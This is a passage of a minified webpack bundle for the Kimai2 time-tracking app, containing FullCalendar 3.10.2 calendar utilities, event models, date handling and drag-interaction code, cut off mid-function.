+(self.webpackChunkkimai2=self.webpackChunkkimai2||[]).push([[548],{1191:function(e,t,n){n(7285),n(2836),n(46),n(4872),n(6942),n(6780),n(2121),n(6807),n(2204),n(1645),n(1573),n(4655),n(920),n(7231),n(7825),n(4002),n(4081),n(3293),n(4137),n(9437),n(1759),n(3397),n(7299),n(7377),n(5302),n(380),n(2924),n(1123),n(9374),n(6872),n(540)},2836:function(e,t,n){var r;"undefined"!=typeof self&&self,r=function(e,t){return function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:r})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=256)}([function(t,n){t.exports=e},,function(e,t){var n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])};t.__extends=function(e,t){function r(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}},function(e,n){e.exports=t},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),i=n(3);function s(e){e.height("")}function a(e){var t,n=e[0].offsetWidth-e[0].clientWidth,r=e[0].offsetHeight-e[0].clientHeight;return n=o(n),t={left:0,right:0,top:0,bottom:r=o(r)},null===d&&(d=function(){var e=i("<div><div></div></div>").css({position:"absolute",top:-1e3,left:0,border:0,padding:0,overflow:"scroll",direction:"rtl"}).appendTo("body"),t=e.children().offset().left>e.offset().left;return e.remove(),t}()),d&&"rtl"===e.css("direction")?t.left=n:t.right=n,t}function o(e){return e=Math.max(0,e),e=Math.round(e)}t.compensateScroll=function(e,t){t.left&&e.css({"border-left-width":1,"margin-left":t.left-1}),t.right&&e.css({"border-right-width":1,"margin-right":t.right-1})},t.uncompensateScroll=function(e){e.css({"margin-left":"","margin-right":"","border-left-width":"","border-right-width":""})},t.disableCursor=function(){i("body").addClass("fc-not-allowed")},t.enableCursor=function(){i("body").removeClass("fc-not-allowed")},t.distributeHeight=function(e,t,n){var r=Math.floor(t/e.length),a=Math.floor(t-r*(e.length-1)),o=[],d=[],u=[],l=0;s(e),e.each((function(t,n){var s=t===e.length-1?a:r,c=i(n).outerHeight(!0);c<s?(o.push(n),d.push(c),u.push(i(n).height())):l+=c})),n&&(t-=l,r=Math.floor(t/o.length),a=Math.floor(t-r*(o.length-1))),i(o).each((function(e,t){var n=e===o.length-1?a:r,s=d[e],l=n-(s-u[e]);s<n&&i(t).height(l)}))},t.undistributeHeight=s,t.matchCellWidths=function(e){var t=0;return e.find("> *").each((function(e,n){var r=i(n).outerWidth();r>t&&(t=r)})),t++,e.width(t),t},t.subtractInnerElHeight=function(e,t){var n,r=e.add(t);return r.css({position:"relative",left:-1}),n=e.outerHeight()-t.outerHeight(),r.css({position:"",left:""}),n},t.getScrollParent=function(e){var t=e.css("position"),n=e.parents().filter((function(){var e=i(this);return/(auto|scroll)/.test(e.css("overflow")+e.css("overflow-y")+e.css("overflow-x"))})).eq(0);return"fixed"!==t&&n.length?n:i(e[0].ownerDocument||document)},t.getOuterRect=function(e,t){var n=e.offset(),r=n.left-(t?t.left:0),i=n.top-(t?t.top:0);return{left:r,right:r+e.outerWidth(),top:i,bottom:i+e.outerHeight()}},t.getClientRect=function(e,t){var n=e.offset(),r=a(e),i=n.left+u(e,"border-left-width")+r.left-(t?t.left:0),s=n.top+u(e,"border-top-width")+r.top-(t?t.top:0);return{left:i,right:i+e[0].clientWidth,top:s,bottom:s+e[0].clientHeight}},t.getContentRect=function(e,t){var n=e.offset(),r=n.left+u(e,"border-left-width")+u(e,"padding-left")-(t?t.left:0),i=n.top+u(e,"border-top-width")+u(e,"padding-top")-(t?t.top:0);return{left:r,right:r+e.width(),top:i,bottom:i+e.height()}},t.getScrollbarWidths=a;var d=null;function u(e,t){return parseFloat(e.css(t))||0}function l(e){e.preventDefault()}function c(e,t,n,r,i){if(n.func)return n.func(e,t);var s=e[n.field],a=t[n.field];return null==s&&r&&(s=r[n.field]),null==a&&i&&(a=i[n.field]),h(s,a)*(n.order||1)}function h(e,t){return e||t?null==t?-1:null==e?1:"string"===i.type(e)||"string"===i.type(t)?String(e).localeCompare(String(t)):e-t:0}function m(e,n){var r,i,s;for(r=0;r<t.unitsDesc.length&&!((s=p(i=t.unitsDesc[r],e,n))>=1&&M(s));r++);return i}function p(e,t,n){return null!=n?n.diff(t,e,!0):r.isDuration(t)?t.as(e):t.end.diff(t.start,e,!0)}function f(e){return Boolean(e.hours()||e.minutes()||e.seconds()||e.milliseconds())}function _(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=window.console;if(n&&n.log)return n.log.apply(n,e)}t.isPrimaryMouseButton=function(e){return 1===e.which&&!e.ctrlKey},t.getEvX=function(e){var t=e.originalEvent.touches;return t&&t.length?t[0].pageX:e.pageX},t.getEvY=function(e){var t=e.originalEvent.touches;return t&&t.length?t[0].pageY:e.pageY},t.getEvIsTouch=function(e){return/^touch/.test(e.type)},t.preventSelection=function(e){e.addClass("fc-unselectable").on("selectstart",l)},t.allowSelection=function(e){e.removeClass("fc-unselectable").off("selectstart",l)},t.preventDefault=l,t.intersectRects=function(e,t){var n={left:Math.max(e.left,t.left),right:Math.min(e.right,t.right),top:Math.max(e.top,t.top),bottom:Math.min(e.bottom,t.bottom)};return n.left<n.right&&n.top<n.bottom&&n},t.constrainPoint=function(e,t){return{left:Math.min(Math.max(e.left,t.left),t.right),top:Math.min(Math.max(e.top,t.top),t.bottom)}},t.getRectCenter=function(e){return{left:(e.left+e.right)/2,top:(e.top+e.bottom)/2}},t.diffPoints=function(e,t){return{left:e.left-t.left,top:e.top-t.top}},t.parseFieldSpecs=function(e){var t,n,r=[],s=[];for("string"==typeof e?s=e.split(/\s*,\s*/):"function"==typeof e?s=[e]:i.isArray(e)&&(s=e),t=0;t<s.length;t++)"string"==typeof(n=s[t])?r.push("-"===n.charAt(0)?{field:n.substring(1),order:-1}:{field:n,order:1}):"function"==typeof n&&r.push({func:n});return r},t.compareByFieldSpecs=function(e,t,n,r,i){var s,a;for(s=0;s<n.length;s++)if(a=c(e,t,n[s],r,i))return a;return 0},t.compareByFieldSpec=c,t.flexibleCompare=h,t.dayIDs=["sun","mon","tue","wed","thu","fri","sat"],t.unitsDesc=["year","month","week","day","hour","minute","second","millisecond"],t.diffDayTime=function(e,t){return r.duration({days:e.clone().stripTime().diff(t.clone().stripTime(),"days"),ms:e.time()-t.time()})},t.diffDay=function(e,t){return r.duration({days:e.clone().stripTime().diff(t.clone().stripTime(),"days")})},t.diffByUnit=function(e,t,n){return r.duration(Math.round(e.diff(t,n,!0)),n)},t.computeGreatestUnit=m,t.computeDurationGreatestUnit=function(e,t){var n=m(e);return"week"===n&&"object"==typeof t&&t.days&&(n="day"),n},t.divideRangeByDuration=function(e,t,n){var r;return f(n)?(t-e)/n:(r=n.asMonths(),Math.abs(r)>=1&&M(r)?t.diff(e,"months",!0)/r:t.diff(e,"days",!0)/n.asDays())},t.divideDurationByDuration=function(e,t){var n,r;return f(e)||f(t)?e/t:(n=e.asMonths(),r=t.asMonths(),Math.abs(n)>=1&&M(n)&&Math.abs(r)>=1&&M(r)?n/r:e.asDays()/t.asDays())},t.multiplyDuration=function(e,t){var n;return f(e)?r.duration(e*t):(n=e.asMonths(),Math.abs(n)>=1&&M(n)?r.duration({months:n*t}):r.duration({days:e.asDays()*t}))},t.durationHasTime=f,t.isNativeDate=function(e){return"[object Date]"===Object.prototype.toString.call(e)||e instanceof Date},t.isTimeString=function(e){return"string"==typeof e&&/^\d+\:\d+(?:\:\d+\.?(?:\d{3})?)?$/.test(e)},t.log=_,t.warn=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=window.console;return n&&n.warn?n.warn.apply(n,e):_.apply(null,e)};var y={}.hasOwnProperty;function g(e,t){return y.call(e,t)}function v(e){return(e+"").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/'/g,"&#039;").replace(/"/g,"&quot;").replace(/\n/g,"<br>")}function M(e){return e%1==0}t.mergeProps=function e(t,n){var r,i,s,a,o,d,u={};if(n)for(r=0;r<n.length;r++){for(i=n[r],s=[],a=t.length-1;a>=0;a--)if("object"==typeof(o=t[a][i]))s.unshift(o);else if(void 0!==o){u[i]=o;break}s.length&&(u[i]=e(s))}for(r=t.length-1;r>=0;r--)for(i in d=t[r])i in u||(u[i]=d[i]);return u},t.copyOwnProps=function(e,t){for(var n in e)g(e,n)&&(t[n]=e[n])},t.hasOwnProp=g,t.applyAll=function(e,t,n){if(i.isFunction(e)&&(e=[e]),e){var r=void 0,s=void 0;for(r=0;r<e.length;r++)s=e[r].apply(t,n)||s;return s}},t.removeMatching=function(e,t){for(var n=0,r=0;r<e.length;)t(e[r])?(e.splice(r,1),n++):r++;return n},t.removeExact=function(e,t){for(var n=0,r=0;r<e.length;)e[r]===t?(e.splice(r,1),n++):r++;return n},t.isArraysEqual=function(e,t){var n,r=e.length;if(null==r||r!==t.length)return!1;for(n=0;n<r;n++)if(e[n]!==t[n])return!1;return!0},t.firstDefined=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];for(var n=0;n<e.length;n++)if(void 0!==e[n])return e[n]},t.htmlEscape=v,t.stripHtmlEntities=function(e){return e.replace(/&.*?;/g,"")},t.cssToStr=function(e){var t=[];return i.each(e,(function(e,n){null!=n&&t.push(e+":"+n)})),t.join(";")},t.attrsToStr=function(e){var t=[];return i.each(e,(function(e,n){null!=n&&t.push(e+'="'+v(n)+'"')})),t.join(" ")},t.capitaliseFirstLetter=function(e){return e.charAt(0).toUpperCase()+e.slice(1)},t.compareNumbers=function(e,t){return e-t},t.isInt=M,t.proxy=function(e,t){var n=e[t];return function(){return n.apply(e,arguments)}},t.debounce=function(e,t,n){var r,i,s,a,o;void 0===n&&(n=!1);var d=function(){var u=+new Date-a;u<t?r=setTimeout(d,t-u):(r=null,n||(o=e.apply(s,i),s=i=null))};return function(){s=this,i=arguments,a=+new Date;var u=n&&!r;return r||(r=setTimeout(d,t)),u&&(o=e.apply(s,i),s=i=null),o}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),i=n(11),s=function(){function e(e,t){this.isStart=!0,this.isEnd=!0,r.isMoment(e)&&(e=e.clone().stripZone()),r.isMoment(t)&&(t=t.clone().stripZone()),e&&(this.startMs=e.valueOf()),t&&(this.endMs=t.valueOf())}return e.invertRanges=function(t,n){var r,i,s=[],o=n.startMs;for(t.sort(a),r=0;r<t.length;r++)(i=t[r]).startMs>o&&s.push(new e(o,i.startMs)),i.endMs>o&&(o=i.endMs);return o<n.endMs&&s.push(new e(o,n.endMs)),s},e.prototype.intersect=function(t){var n=this.startMs,r=this.endMs,i=null;return null!=t.startMs&&(n=null==n?t.startMs:Math.max(n,t.startMs)),null!=t.endMs&&(r=null==r?t.endMs:Math.min(r,t.endMs)),(null==n||null==r||n<r)&&((i=new e(n,r)).isStart=this.isStart&&n===this.startMs,i.isEnd=this.isEnd&&r===this.endMs),i},e.prototype.intersectsWith=function(e){return(null==this.endMs||null==e.startMs||this.endMs>e.startMs)&&(null==this.startMs||null==e.endMs||this.startMs<e.endMs)},e.prototype.containsRange=function(e){return(null==this.startMs||null!=e.startMs&&e.startMs>=this.startMs)&&(null==this.endMs||null!=e.endMs&&e.endMs<=this.endMs)},e.prototype.containsDate=function(e){var t=e.valueOf();return(null==this.startMs||t>=this.startMs)&&(null==this.endMs||t<this.endMs)},e.prototype.constrainDate=function(e){var t=e.valueOf();return null!=this.startMs&&t<this.startMs&&(t=this.startMs),null!=this.endMs&&t>=this.endMs&&(t=this.endMs-1),t},e.prototype.equals=function(e){return this.startMs===e.startMs&&this.endMs===e.endMs},e.prototype.clone=function(){var t=new e(this.startMs,this.endMs);return t.isStart=this.isStart,t.isEnd=this.isEnd,t},e.prototype.getStart=function(){return null!=this.startMs?i.default.utc(this.startMs).stripZone():null},e.prototype.getEnd=function(){return null!=this.endMs?i.default.utc(this.endMs).stripZone():null},e.prototype.as=function(e){return r.utc(this.endMs).diff(r.utc(this.startMs),e,!0)},e}();function a(e,t){return e.startMs-t.startMs}t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(52),a=n(35),o=n(36),d=function(e){function t(n){var r=e.call(this)||this;return r.calendar=n,r.className=[],r.uid=String(t.uuid++),r}return r.__extends(t,e),t.parse=function(e,t){var n=new this(t);return!("object"!=typeof e||!n.applyProps(e))&&n},t.normalizeId=function(e){return e?String(e):null},t.prototype.fetch=function(e,t,n){},t.prototype.removeEventDefsById=function(e){},t.prototype.removeAllEventDefs=function(){},t.prototype.getPrimitive=function(e){},t.prototype.parseEventDefs=function(e){var t,n,r=[];for(t=0;t<e.length;t++)(n=this.parseEventDef(e[t]))&&r.push(n);return r},t.prototype.parseEventDef=function(e){var t=this.calendar.opt("eventDataTransform"),n=this.eventDataTransform;return t&&(e=t(e,this.calendar)),n&&(e=n(e,this.calendar)),o.default.parse(e,this)},t.prototype.applyManualStandardProps=function(e){return null!=e.id&&(this.id=t.normalizeId(e.id)),i.isArray(e.className)?this.className=e.className:"string"==typeof e.className&&(this.className=e.className.split(/\s+/)),!0},t.uuid=0,t.defineStandardProps=s.default.defineStandardProps,t.copyVerbatimStandardProps=s.default.copyVerbatimStandardProps,t}(a.default);t.default=d,s.default.mixInto(d),d.defineStandardProps({id:!1,className:!1,color:!0,backgroundColor:!0,borderColor:!0,textColor:!0,editable:!0,startEditable:!0,durationEditable:!0,rendering:!0,overlap:!0,constraint:!0,allDayDefault:!0,eventDataTransform:!0})},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(15),a=0,o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.listenTo=function(e,t,n){if("object"==typeof t)for(var r in t)t.hasOwnProperty(r)&&this.listenTo(e,r,t[r]);else"string"==typeof t&&e.on(t+"."+this.getListenerNamespace(),i.proxy(n,this))},t.prototype.stopListeningTo=function(e,t){e.off((t||"")+"."+this.getListenerNamespace())},t.prototype.getListenerNamespace=function(){return null==this.listenerId&&(this.listenerId=a++),"_listener"+this.listenerId},t}(s.default);t.default=o},,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(37),s=n(53),a=n(16),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.buildInstances=function(){return[this.buildInstance()]},t.prototype.buildInstance=function(){return new s.default(this,this.dateProfile)},t.prototype.isAllDay=function(){return this.dateProfile.isAllDay()},t.prototype.clone=function(){var t=e.prototype.clone.call(this);return t.dateProfile=this.dateProfile,t},t.prototype.rezone=function(){var e=this.source.calendar,t=this.dateProfile;this.dateProfile=new a.default(e.moment(t.start),t.end?e.moment(t.end):null,e)},t.prototype.applyManualStandardProps=function(t){var n=e.prototype.applyManualStandardProps.call(this,t),r=a.default.parse(t,this.source);return!!r&&(this.dateProfile=r,null!=t.date&&(this.miscProps.date=t.date),n)},t}(i.default);t.default=o,o.defineStandardProps({start:!1,date:!1,end:!1,allDay:!1})},,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),i=n(3),s=n(4),a=/^\s*\d{4}-\d\d$/,o=/^\s*\d{4}-(?:(\d\d-\d\d)|(W\d\d$)|(W\d\d-\d)|(\d\d\d))((T| )(\d\d(:\d\d(:\d\d(\.\d+)?)?)?)?)?$/,d=r.fn;t.newMomentProto=d;var u=i.extend({},d);t.oldMomentProto=u;var l=r.momentProperties;l.push("_fullCalendar"),l.push("_ambigTime"),l.push("_ambigZone"),t.oldMomentFormat=function(e,t){return u.format.call(e,t)};var c=function(){return h(arguments)};function h(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!1);var d,u,l,c,h=e[0],m=1===e.length&&"string"==typeof h;return r.isMoment(h)||s.isNativeDate(h)||void 0===h?c=r.apply(null,e):(d=!1,u=!1,m?a.test(h)?(e=[h+="-01"],d=!0,u=!0):(l=o.exec(h))&&(d=!l[5],u=!0):i.isArray(h)&&(u=!0),c=t||d?r.utc.apply(r,e):r.apply(null,e),d?(c._ambigTime=!0,c._ambigZone=!0):n&&(u?c._ambigZone=!0:m&&c.utcOffset(h))),c._fullCalendar=!0,c}t.default=c,c.utc=function(){var e=h(arguments,!0);return e.hasTime()&&e.utc(),e},c.parseZone=function(){return h(arguments,!0,!0)},d.week=d.weeks=function(e){var t=this._locale._fullCalendar_weekCalc;return null==e&&"function"==typeof t?t(this):"ISO"===t?u.isoWeek.apply(this,arguments):u.week.apply(this,arguments)},d.time=function(e){if(!this._fullCalendar)return u.time.apply(this,arguments);if(null==e)return r.duration({hours:this.hours(),minutes:this.minutes(),seconds:this.seconds(),milliseconds:this.milliseconds()});this._ambigTime=!1,r.isDuration(e)||r.isMoment(e)||(e=r.duration(e));var t=0;return r.isDuration(e)&&(t=24*Math.floor(e.asDays())),this.hours(t+e.hours()).minutes(e.minutes()).seconds(e.seconds()).milliseconds(e.milliseconds())},d.stripTime=function(){return this._ambigTime||(this.utc(!0),this.set({hours:0,minutes:0,seconds:0,ms:0}),this._ambigTime=!0,this._ambigZone=!0),this},d.hasTime=function(){return!this._ambigTime},d.stripZone=function(){var e;return this._ambigZone||(e=this._ambigTime,this.utc(!0),this._ambigTime=e||!1,this._ambigZone=!0),this},d.hasZone=function(){return!this._ambigZone},d.local=function(e){return u.local.call(this,this._ambigZone||e),this._ambigTime=!1,this._ambigZone=!1,this},d.utc=function(e){return u.utc.call(this,e),this._ambigTime=!1,this._ambigZone=!1,this},d.utcOffset=function(e){return null!=e&&(this._ambigTime=!1,this._ambigZone=!1),u.utcOffset.apply(this,arguments)}},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){this.isAllDay=!1,this.unzonedRange=e,this.isAllDay=t}return e.prototype.toLegacy=function(e){return{start:e.msToMoment(this.unzonedRange.startMs,this.isAllDay),end:e.msToMoment(this.unzonedRange.endMs,this.isAllDay)}},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.on=function(e,t){return i(this).on(e,this._prepareIntercept(t)),this},t.prototype.one=function(e,t){return i(this).one(e,this._prepareIntercept(t)),this},t.prototype._prepareIntercept=function(e){var t=function(t,n){return e.apply(n.context||this,n.args||[])};return e.guid||(e.guid=i.guid++),t.guid=e.guid,t},t.prototype.off=function(e,t){return i(this).off(e,t),this},t.prototype.trigger=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return i(this).triggerHandler(e,{args:t}),this},t.prototype.triggerWith=function(e,t,n){return i(this).triggerHandler(e,{context:t,args:n}),this},t.prototype.hasHandlers=function(e){var t=i._data(this,"events");return t&&t[e]&&t[e].length>0},t}(n(15).default);t.default=s},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e){this.view=e._getView(),this.component=e}return e.prototype.opt=function(e){return this.view.opt(e)},e.prototype.end=function(){},e}();t.default=n},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(){}return e.mixInto=function(e){var t=this;Object.getOwnPropertyNames(this.prototype).forEach((function(n){e.prototype[n]||(e.prototype[n]=t.prototype[n])}))},e.mixOver=function(e){var t=this;Object.getOwnPropertyNames(this.prototype).forEach((function(n){e.prototype[n]=t.prototype[n]}))},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(5),i=function(){function e(e,t,n){this.start=e,this.end=t||null,this.unzonedRange=this.buildUnzonedRange(n)}return e.parse=function(t,n){var r=t.start||t.date,i=t.end;if(!r)return!1;var s=n.calendar,a=s.moment(r),o=i?s.moment(i):null,d=t.allDay,u=s.opt("forceEventDuration");return!!a.isValid()&&(null==d&&null==(d=n.allDayDefault)&&(d=s.opt("allDayDefault")),!0===d?(a.stripTime(),o&&o.stripTime()):!1===d&&(a.hasTime()||a.time(0),o&&!o.hasTime()&&o.time(0)),!o||o.isValid()&&o.isAfter(a)||(o=null),!o&&u&&(o=s.getDefaultEventEnd(!a.hasTime(),a)),new e(a,o,s))},e.isStandardProp=function(e){return"start"===e||"date"===e||"end"===e||"allDay"===e},e.prototype.isAllDay=function(){return!(this.start.hasTime()||this.end&&this.end.hasTime())},e.prototype.buildUnzonedRange=function(e){var t=this.start.clone().stripZone().valueOf(),n=this.getEnd(e).stripZone().valueOf();return new r.default(t,n)},e.prototype.getEnd=function(e){return this.end?this.end.clone():e.getDefaultEventEnd(this.isAllDay(),this.start)},e}();t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(4),s=function(e){function t(t,n){var r=e.call(this,n)||this;return r.component=t,r}return r.__extends(t,e),t.prototype.handleInteractionStart=function(t){var n,r,s,a=this.subjectEl;this.component.hitsNeeded(),this.computeScrollBounds(),t?(s=r={left:i.getEvX(t),top:i.getEvY(t)},a&&(n=i.getOuterRect(a),s=i.constrainPoint(s,n)),this.origHit=this.queryHit(s.left,s.top),a&&this.options.subjectCenter&&(this.origHit&&(n=i.intersectRects(this.origHit,n)||n),s=i.getRectCenter(n)),this.coordAdjust=i.diffPoints(s,r)):(this.origHit=null,this.coordAdjust=null),e.prototype.handleInteractionStart.call(this,t)},t.prototype.handleDragStart=function(t){var n;e.prototype.handleDragStart.call(this,t),(n=this.queryHit(i.getEvX(t),i.getEvY(t)))&&this.handleHitOver(n)},t.prototype.handleDrag=function(t,n,r){var s;e.prototype.handleDrag.call(this,t,n,r),a(s=this.queryHit(i.getEvX(r),i.getEvY(r)),this.hit)||(this.hit&&this.handleHitOut(),s&&this.handleHitOver(s))},t.prototype.handleDragEnd=function(t){this.handleHitDone(),e.prototype.handleDragEnd.call(this,t)},t.prototype.handleHitOver=function(e){var t=a(e,this.origHit);this.hit=e,this.trigger("hitOver",this.hit,t,this.origHit)},t.prototype.handleHitOut=function(){this.hit&&(this.trigger("hitOut",this.hit),this.handleHitDone(),this.hit=null)},t.prototype.handleHitDone=function(){this.hit&&this.trigger("hitDone",this.hit)},t.prototype.handleInteractionEnd=function(t,n){e.prototype.handleInteractionEnd.call(this,t,n),this.origHit=null,this.hit=null,this.component.hitsNotNeeded()},t.prototype.handleScrollEnd=function(){e.prototype.handleScrollEnd.call(this),this.isDragging&&(this.component.releaseHits(),this.component.prepareHits())},t.prototype.queryHit=function(e,t){return this.coordAdjust&&(e+=this.coordAdjust.left,t+=this.coordAdjust.top),this.component.queryHit(e,t)},t}(n(59).default);function a(e,t){return!e&&!t||!(!e||!t)&&e.component===t.component&&o(e,t)&&o(t,e)}function o(e,t){for(var n in e)if(!/^(component|left|right|top|bottom)$/.test(n)&&e[n]!==t[n])return!1;return!0}t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),t.version="3.10.2",t.internalApiVersion=12;var r=n(4);t.applyAll=r.applyAll,t.debounce=r.debounce,t.isInt=r.isInt,t.htmlEscape=r.htmlEscape,t.cssToStr=r.cssToStr,t.proxy=r.proxy,t.capitaliseFirstLetter=r.capitaliseFirstLetter,t.getOuterRect=r.getOuterRect,t.getClientRect=r.getClientRect,t.getContentRect=r.getContentRect,t.getScrollbarWidths=r.getScrollbarWidths,t.preventDefault=r.preventDefault,t.parseFieldSpecs=r.parseFieldSpecs,t.compareByFieldSpecs=r.compareByFieldSpecs,t.compareByFieldSpec=r.compareByFieldSpec,t.flexibleCompare=r.flexibleCompare,t.computeGreatestUnit=r.computeGreatestUnit,t.divideRangeByDuration=r.divideRangeByDuration,t.divideDurationByDuration=r.divideDurationByDuration,t.multiplyDuration=r.multiplyDuration,t.durationHasTime=r.durationHasTime,t.log=r.log,t.warn=r.warn,t.removeExact=r.removeExact,t.intersectRects=r.intersectRects,t.allowSelection=r.allowSelection,t.attrsToStr=r.attrsToStr,t.compareNumbers=r.compareNumbers,t.compensateScroll=r.compensateScroll,t.computeDurationGreatestUnit=r.computeDurationGreatestUnit,t.constrainPoint=r.constrainPoint,t.copyOwnProps=r.copyOwnProps,t.diffByUnit=r.diffByUnit,t.diffDay=r.diffDay,t.diffDayTime=r.diffDayTime,t.diffPoints=r.diffPoints,t.disableCursor=r.disableCursor,t.distributeHeight=r.distributeHeight,t.enableCursor=r.enableCursor,t.firstDefined=r.firstDefined,t.getEvIsTouch=r.getEvIsTouch,t.getEvX=r.getEvX,t.getEvY=r.getEvY,t.getRectCenter=r.getRectCenter,t.getScrollParent=r.getScrollParent,t.hasOwnProp=r.hasOwnProp,t.isArraysEqual=r.isArraysEqual,t.isNativeDate=r.isNativeDate,t.isPrimaryMouseButton=r.isPrimaryMouseButton,t.isTimeString=r.isTimeString,t.matchCellWidths=r.matchCellWidths,t.mergeProps=r.mergeProps,t.preventSelection=r.preventSelection,t.removeMatching=r.removeMatching,t.stripHtmlEntities=r.stripHtmlEntities,t.subtractInnerElHeight=r.subtractInnerElHeight,t.uncompensateScroll=r.uncompensateScroll,t.undistributeHeight=r.undistributeHeight,t.dayIDs=r.dayIDs,t.unitsDesc=r.unitsDesc;var i=n(49);t.formatDate=i.formatDate,t.formatRange=i.formatRange,t.queryMostGranularFormatUnit=i.queryMostGranularFormatUnit;var s=n(32);t.datepickerLocale=s.datepickerLocale,t.locale=s.locale,t.getMomentLocaleData=s.getMomentLocaleData,t.populateInstanceComputableOptions=s.populateInstanceComputableOptions;var a=n(19);t.eventDefsToEventInstances=a.eventDefsToEventInstances,t.eventFootprintToComponentFootprint=a.eventFootprintToComponentFootprint,t.eventInstanceToEventRange=a.eventInstanceToEventRange,t.eventInstanceToUnzonedRange=a.eventInstanceToUnzonedRange,t.eventRangeToEventFootprint=a.eventRangeToEventFootprint;var o=n(11);t.moment=o.default;var d=n(13);t.EmitterMixin=d.default;var u=n(7);t.ListenerMixin=u.default;var l=n(51);t.Model=l.default;var c=n(217);t.Constraints=c.default;var h=n(55);t.DateProfileGenerator=h.default;var m=n(5);t.UnzonedRange=m.default;var p=n(12);t.ComponentFootprint=p.default;var f=n(218);t.BusinessHourGenerator=f.default;var _=n(219);t.EventPeriod=_.default;var y=n(220);t.EventManager=y.default;var g=n(37);t.EventDef=g.default;var v=n(39);t.EventDefMutation=v.default;var M=n(36);t.EventDefParser=M.default;var L=n(53);t.EventInstance=L.default;var D=n(50);t.EventRange=D.default;var Y=n(54);t.RecurringEventDef=Y.default;var w=n(9);t.SingleEventDef=w.default;var b=n(40);t.EventDefDateMutation=b.default;var T=n(16);t.EventDateProfile=T.default;var k=n(38);t.EventSourceParser=k.default;var S=n(6);t.EventSource=S.default;var x=n(57);t.defineThemeSystem=x.defineThemeSystem,t.getThemeSystemClass=x.getThemeSystemClass;var H=n(20);t.EventInstanceGroup=H.default;var E=n(56);t.ArrayEventSource=E.default;var j=n(223);t.FuncEventSource=j.default;var P=n(224);t.JsonFeedEventSource=P.default;var C=n(34);t.EventFootprint=C.default;var O=n(35);t.Class=O.default;var R=n(15);t.Mixin=R.default;var A=n(58);t.CoordCache=A.default;var F=n(225);t.Iterator=F.default;var z=n(59);t.DragListener=z.default;var N=n(17);t.HitDragListener=N.default;var I=n(226);t.MouseFollower=I.default;var W=n(52);t.ParsableModelMixin=W.default;var B=n(227);t.Popover=B.default;var U=n(21);t.Promise=U.default;var G=n(228);t.TaskQueue=G.default;var V=n(229);t.RenderQueue=V.default;var J=n(41);t.Scroller=J.default;var q=n(22);t.Theme=q.default;var $=n(230);t.Component=$.default;var Z=n(231);t.DateComponent=Z.default;var K=n(42);t.InteractiveDateComponent=K.default;var X=n(232);t.Calendar=X.default;var Q=n(43);t.View=Q.default;var ee=n(24);t.defineView=ee.defineView,t.getViewConfig=ee.getViewConfig;var te=n(60);t.DayTableMixin=te.default;var ne=n(61);t.BusinessHourRenderer=ne.default;var re=n(44);t.EventRenderer=re.default;var ie=n(62);t.FillRenderer=ie.default;var se=n(63);t.HelperRenderer=se.default;var ae=n(233);t.ExternalDropping=ae.default;var oe=n(234);t.EventResizing=oe.default;var de=n(64);t.EventPointing=de.default;var ue=n(235);t.EventDragging=ue.default;var le=n(236);t.DateSelecting=le.default;var ce=n(237);t.DateClicking=ce.default;var he=n(14);t.Interaction=he.default;var me=n(65);t.StandardInteractionsMixin=me.default;var pe=n(238);t.AgendaView=pe.default;var fe=n(239);t.TimeGrid=fe.default;var _e=n(240);t.TimeGridEventRenderer=_e.default;var ye=n(242);t.TimeGridFillRenderer=ye.default;var ge=n(241);t.TimeGridHelperRenderer=ge.default;var ve=n(66);t.DayGrid=ve.default;var Me=n(243);t.DayGridEventRenderer=Me.default;var Le=n(245);t.DayGridFillRenderer=Le.default;var De=n(244);t.DayGridHelperRenderer=De.default;var Ye=n(67);t.BasicView=Ye.default;var we=n(68);t.BasicViewDateProfileGenerator=we.default;var be=n(246);t.MonthView=be.default;var Te=n(247);t.MonthViewDateProfileGenerator=Te.default;var ke=n(248);t.ListView=ke.default;var Se=n(250);t.ListEventPointing=Se.default;var xe=n(249);t.ListEventRenderer=xe.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(50),i=n(34),s=n(12);t.eventDefsToEventInstances=function(e,t){var 